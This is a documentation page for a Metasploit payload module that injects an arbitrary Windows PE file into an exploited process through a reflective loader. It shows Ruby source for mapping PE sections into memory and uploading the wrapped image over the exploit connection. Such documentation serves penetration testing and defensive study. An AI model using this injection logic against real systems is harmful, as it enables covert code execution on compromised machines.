Module: Msf::Payload::Windows::PEInject

Defined in:
lib/msf/core/payload/windows/pe_inject.rb

Overview

Reflective PE module injects a custom native PE file into the exploited process using a reflective PE loader stub

Instance Method Summary collapse

Instance Method Details

#create_pe_memory_map(file, opts = {}) ⇒ Object



117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
# File 'lib/msf/core/payload/windows/pe_inject.rb', line 117

def create_pe_memory_map(file, opts = {})
  pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(file))
  begin
    OptInjectablePE.assert_compatible(pe, opts.fetch(:arch, arch.first))
  rescue Msf::ValidationError => e
    print_error("PE validation error: #{e.message}")
    raise
  end

  pe_map = {}
  pe_map[:bytes] = ''
  pe_map[:is_dll] = pe._file_header.v['Characteristics'] == (pe._file_header.v['Characteristics'] | 0x2000)
  vprint_status("PE Characteristics: #{'0x%.8x' % pe._file_header.v['Characteristics']}")
  offset = 0
  virtual_offset = pe.image_base
  vprint_status("ImageBase: 0x#{pe.image_base.to_s(16)}")
  vprint_status("SizeOfImage: 0x#{pe._optional_header.v['SizeOfImage'].to_s(16)}")
  vprint_status("#{pe.sections.first.name} VMA: 0x#{(pe.image_base + pe.sections.first.vma).to_s(16)}")
  vprint_status("#{pe.sections.first.name} Offset: 0x#{pe.sections.first.file_offset.to_s(16)}")
  until offset == pe.sections.first.file_offset
    pe_map[:bytes] << file[offset]
    virtual_offset += 1
    offset += 1
  end

  # Map PE sections
  pe.sections.each do |sec|
    pe_map[:bytes] << "\x00" * ((sec.vma + pe.image_base) - virtual_offset)
    virtual_offset = sec.vma + pe.image_base
    pe_map[:bytes] << sec.read(0, sec.raw_size)
    virtual_offset += sec.raw_size
    pe_map[:bytes] << "\x00" * ((sec.vma + pe.image_base + sec.size) - virtual_offset)
    virtual_offset = sec.vma + pe.image_base + sec.size
  end

  pe_map[:bytes] << "\x00" * ((pe.image_base + pe._optional_header.v['SizeOfImage']) - virtual_offset)
  pe_map
end

#handle_connection(conn, opts = {}) ⇒ Object

Transmits the reflective PE payload to the remote computer so that it can be loaded into memory.



87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
# File 'lib/msf/core/payload/windows/pe_inject.rb', line 87

def handle_connection(conn, opts = {})
  data = ''
  begin
    File.open(pe_path, 'rb') do |f|
      data += f.read
    end
  rescue StandardError
    print_error("Failed to load PE: #{$ERROR_INFO}.")
    elog('Failed to load the PE file', error: e)
    return
  end

  print_status('Premapping PE file...')
  pe_map = create_pe_memory_map(data, opts)
  print_status("Mapped PE size #{pe_map[:bytes].length}")
  opts = {}
  opts[:is_dll] = pe_map[:is_dll]
  opts[:exitfunk] = datastore['EXITFUNC']
  p = encapsulate_reflective_stub(pe_map[:bytes], opts)

  print_status("Uploading reflective PE (#{p.length} bytes)...")
  # Send the size of the thing we're transferring
  conn.put([ p.length ].pack('V'))
  # Send the image name + image
  conn.put(p)
  print_status('Upload completed')
ensure
  conn.close
end

#initialize(info = {}) ⇒ Object



68
69
70
71
72
73
74
# File 'lib/msf/core/payload/windows/pe_inject.rb', line 68

def initialize(info = {})
  super

  register_options([
    OptInjectablePE.new('PE', [ true, 'The local path to the PE file to upload' ], arch: info.fetch('AdaptedArch', arch.first))
  ], self.class)
end

#pe_pathObject

Returns the PE file path



79
80
81
# File 'lib/msf/core/payload/windows/pe_inject.rb', line 79

def pe_path
  datastore['PE']
end